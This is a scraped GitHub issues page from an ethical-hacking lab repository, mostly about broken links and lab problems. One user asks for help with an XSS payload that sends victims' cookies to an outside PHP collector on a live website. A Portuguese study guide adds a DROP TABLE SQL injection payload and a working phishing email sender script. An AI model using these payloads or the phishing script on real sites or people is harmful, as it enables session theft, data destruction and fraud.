samsar4 / ethical-hacking-labs Goto Github PK
View Code? Open in Web Editor NEWPractical Ethical Hacking Labs 🗡🛡
Practical Ethical Hacking Labs 🗡🛡
I noticed your lab with covert_tcp seems to have a problem. When I use the tcpdump -nvvX port 8888 -i lo
command its only monitoring the Loopback interface. In which case, it would find nothing anyway.
So I then switched it to use my eth0 interface and when I reran the lab, it picked up each packet. So it doesn't seem to hide anything. Unless I'm missing something here!
Hi, I am passionate to contribute some open source projects, as I am a react developer can I create a web app using next js for this project,
please feel free to contact me at [email protected]
I'm doing an ethical hacking test, I tested an XSS payload : <script>alert("xss")</script> on a website, and the pop-up appears, so I want to collect user cookie
I created a getcookie.php file and a cookies.txt file and and I uploaded both files to a hosting server,
I placed the two files in the htdocs folder, which now contains index.html, getcookie.php and a cookies.txt
This is the getcookie.php file:
When I try this in the search box: : <script>document.location="http://website.com/getcookie.php?c="+document.cookie;</script>
I get this URL:
https://website2/search/?section=all&query=<script>document.location="http:SLASHSLASHwebsite.comSLASHgetcookie.php?c="+document.cookie;&path=SLASH
and I don't see any cookies in cookies.txt
What am I doing wrong, please? I've tried lot of payloads in the past 3 days but no results,
when I type http://website.com/getcookie.php in a new tab, I get the cookie but it's empty, I get this text : Cookie:
Thank you
Hello,
The download link with anonfile.com for this list 6-Malware/5-Windows-Tools.md is not working/ If anyone has those files, please upload and share the download URL.
Thanks.
Module 6 Malware - Lab Using-njRAT has broken links unfortunately
Ética em Hacking e Testes de Penetração
Índice:
Ética em Hacking e Conceitos Iniciais
1.1. Plataformas Educacionais
1.1.1. Coursera
1.1.2. edX
1.1.3. Khan Academy
Penetration Testing com Ferramentas
2.1. Exemplos de Ferramentas e Uso
2.1.1. Wireshark
2.1.2. Nmap
2.1.3. Metasploit
2.1.4. Burp Suite
Linguagens de Programação em Hacking Ético
3.1. Python
3.2. Ruby
3.3. JavaScript
3.4. Bash Scripting
3.5. C/C++
3.6. Perl
3.7. SQL
3.8. Assembly
Métodos de Testes de Penetração
4.1. Teste de Vulnerabilidade
4.2. Engenharia Social
4.3. Teste de Red Team
4.4. Teste de Aplicativo Web
4.5. Teste de Infraestrutura
4.6. Teste de Wi-Fi
4.7. Teste de Segurança Física
4.8. Teste de Penetração de Banco de Dados
Exemplos de Scripts
5.1. Script de Nmap
5.2. Script Python para Teste de Vulnerabilidade
5.3. Script de Engenharia Social - Phishing
5.4. Script Bash para Teste de Rede
5.5. Script Python para Teste de Cross-Site Scripting (XSS)
Livros e Recursos para Ajudar nos Estudos
6.1. "Hacking: The Art of Exploitation" por Jon Erickson
6.2. "Metasploit: The Penetration Tester's Guide" por David Kennedy, Jim O'Gorman, Devon Kearns e Mati Aharoni
6.3. "The Web Application Hacker's Handbook: Finding and Exploiting Security Flaws" por Dafydd Stuttard e Marcus Pinto
6.4. "Red Team Field Manual" por Ben Clark
6.5. "Practical Malware Analysis: The Hands-On Guide to Dissecting Malicious Software" por Michael Sikorski e Andrew Honig
6.6. "Wireshark Network Analysis" por Laura Chappell
6.7. Artigos e Recursos Online
Ética em Hacking e Testes de Penetração
Ética em Hacking e Conceitos Iniciais:
princípios iniciais da ética em hacking:
Coursera: O curso "Introdução à Segurança Cibernética" na Coursera abrange criptografia, autenticação e gerenciamento de riscos, usando exemplos práticos para proteger informações sensíveis em redes e sistemas.
edX: No curso "Ética em Hacking e Testes de Invasão" do edX, aprenda práticas de hacking ético e a realizar testes de penetração legalmente, explorando cenários de ataques reais.
Khan Academy: A Khan Academy oferece recursos sobre fundamentos de segurança cibernética e ética em hacking, abordando tipos de malware e como se proteger.
Penetration Testing com Ferramentas:
Agora, exploremos exemplos de ferramentas em testes de penetração:
Wireshark: Ao conduzir testes em uma rede corporativa, use o Wireshark para capturar e analisar tráfego, detectando atividades suspeitas.
Nmap: Ao testar um sistema de gerenciamento de servidores, varra a rede com o Nmap para identificar hosts, serviços e portas abertas.
Metasploit: Avalie a segurança de um aplicativo web usando o Metasploit para explorar vulnerabilidades e informar os desenvolvedores sobre falhas.
Burp Suite: Avalie a segurança de um site de comércio eletrônico com o Burp Suite para identificar vulnerabilidades como injeção de SQL ou cross-site scripting.
Linguagens de Programação em Hacking Ético:
Explore as linguagens usadas em hacking ético:
Python: Ideal para automação, desenvolvimento de scripts e ferramentas de segurança, sendo usada em módulos do Metasploit.
Ruby: Usada no Metasploit Framework, permitindo criar módulos de exploração personalizados.
JavaScript: Além do desenvolvimento web, é usado para testes de segurança em aplicativos web, como cross-site scripting (XSS).
Bash Scripting: Automatiza tarefas em sistemas Unix/Linux, como varreduras de rede.
C/C++: Usados em exploits de baixo nível e ferramentas de alta performance, como partes do Metasploit.
Perl: Ainda usada para automação e ferramentas de segurança.
SQL: Fundamental para testes de segurança de bancos de dados, identificando vulnerabilidades como injeção de SQL.
Assembly: Para exploits específicos e engenharia reversa.
Métodos de Testes de Penetração:
Teste de Vulnerabilidade: Identifica falhas e vulnerabilidades para avaliar medidas de segurança.
Engenharia Social: Explora a natureza humana para obter acesso não autorizado.
Teste de Red Team: Simula ataques para identificar brechas e avaliar a equipe de defesa.
Teste de Aplicativo Web: Avalia a segurança de sites, procurando vulnerabilidades como injeção de SQL.
Teste de Infraestrutura: Avalia a segurança de redes e sistemas, identificando falhas de configuração.
Teste de Wi-Fi: Avalia a segurança de redes sem fio, buscando brechas na criptografia.
Teste de Segurança Física: Testa a resistência de medidas de segurança física.
Teste de Penetração de Banco de Dados: Identifica vulnerabilidades em sistemas de gerenciamento de banco de dados.
Exemplos de Scripts:
Exemplo de Script de Nmap:
nmap -sS -p 1-100 192.168.1.1
Nesse exemplo, o Nmap realiza uma varredura TCP SYN em todas as portas de 1 a 100 no endereço IP 192.168.1.1.
Exemplo de Script Python para Teste de Vulnerabilidade:
import requests
url = "http://exemplo.com.br/vulneravel.php"
payload = "'; DROP TABLE usuarios;--"
response = requests.post(url, data={"username": payload, "password": "senha"})
Este script Python simula uma injeção de SQL ao enviar um payload malicioso para um campo de entrada em um formulário web.
Exemplo de Script de Engenharia Social - Phishing:
import smtplib
from email.mime.text import MIMEText
sender_email = "[email protected]"
receiver_email = "[email protected]"
subject = "Importante: Atualize suas informações!"
message = "Prezado usuário, solicitamos que atualize seus dados neste link: http://phishingsite.com/atualizacao"
msg = MIMEText(message)
msg['Subject'] = subject
msg['From'] = sender_email
msg['To'] = receiver_email
server = smtplib.SMTP('smtp.gmail.com', 587)
server.starttls()
server.login(sender_email, "suasenha")
server.sendmail(sender_email, [receiver_email], msg.as_string())
server.quit()
Este exemplo ilustra um script de phishing por e-mail que envia uma mensagem falsa para enganar o usuário e direcioná-lo a um site malicioso.
Exemplo de Script Bash para Teste de Rede:
#!/bin/bash
echo "Iniciando varredura de rede..."
nmap -sP 192.168.0.0/24
echo "Varredura concluída."
Este script Bash executa uma varredura de ping (ICMP) em todos os dispositivos na faixa de IP 192.168.0.0/24 para verificar quais estão online.
Exemplo de Script Python para Teste de Cross-Site Scripting (XSS):
import requests
url = "http://exemplo.com.br/pagina.php"
payload = "<script>alert('XSS');</script>"
response = requests.post(url, data={"comentario": payload})
Neste exemplo, um script Python envia um payload XSS como parte de um comentário para um site, demonstrando uma vulnerabilidade de XSS.
Livros e Recursos para Ajudar nos Estudos:
"Hacking: The Art of Exploitation" por Jon Erickson - Este livro aborda tanto conceitos básicos quanto avançados de hacking ético, incluindo programação de exploits e análise de códigos maliciosos.
"Metasploit: The Penetration Tester's Guide" por David Kennedy, Jim O'Gorman, Devon Kearns e Mati Aharoni - Um guia detalhado sobre como usar o Metasploit para testes de penetração e exploração de vulnerabilidades.
"The Web Application Hacker's Handbook: Finding and Exploiting Security Flaws" por Dafydd Stuttard e Marcus Pinto - Este livro é uma referência essencial para entender as vulnerabilidades em aplicativos da web e como explorá-las de maneira ética.
"Red Team Field Manual" por Ben Clark - Um guia de referência compacto com comandos e procedimentos úteis para profissionais de segurança e pentesters.
"Practical Malware Analysis: The Hands-On Guide to Dissecting Malicious Software" por Michael Sikorski e Andrew Honig - Este livro ensina técnicas de análise de malware, fornecendo insights sobre como identificar e entender códigos maliciosos.
"Wireshark Network Analysis" por Laura Chappell - Um guia detalhado sobre o uso do Wireshark para análise de tráfego de rede e detecção de anomalias.
Artigos e Recursos Online:
OWASP (Open Web Application Security Project) - Uma comunidade dedicada à segurança de aplicativos da web, oferecendo guias, ferramentas e recursos para identificar e mitigar vulnerabilidades.
Hack The Box (HTB) - Uma plataforma online que oferece desafios de penetração em um ambiente seguro, permitindo que você desenvolva e teste suas habilidades de hacking ético.
CVE Details - Um banco de dados de informações sobre vulnerabilidades de segurança conhecidas, que podem ajudar a entender as ameaças atuais.
SecurityTube - Uma plataforma que oferece uma variedade de vídeos e cursos sobre hacking ético e segurança cibernética.
Packet Storm - Um site de segurança que fornece informações sobre vulnerabilidades, exploits e ferramentas de segurança.
The picture in this section is not loading, seems to be a dead link.
I installed Ubuntu, but by wrong I select Erase all disk and install Ubuntu
Is there are a way to get this tow partitions back, I'm not talking about C partition
it might be cool to have leftpadded numbers, so the repo and files on disk are in the correct order insted of 1,10,11,2
I really love every step made in this wonderful tutorial
A declarative, efficient, and flexible JavaScript library for building user interfaces.
🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.
TypeScript is a superset of JavaScript that compiles to clean JavaScript output.
An Open Source Machine Learning Framework for Everyone
The Web framework for perfectionists with deadlines.
A PHP framework for web artisans
Bring data to life with SVG, Canvas and HTML. 📊📈🎉
JavaScript (JS) is a lightweight interpreted programming language with first-class functions.
Some thing interesting about web. New door for the world.
A server is a program made to process requests and deliver data to clients.
Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.
Some thing interesting about visualization, use data art
Some thing interesting about game, make everyone happy.
We are working to build community through open source technology. NB: members must have two-factor auth.
Open source projects and samples from Microsoft.
Google ❤️ Open Source for everyone.
Alibaba Open Source for everyone
Data-Driven Documents codes.
China tencent open source team.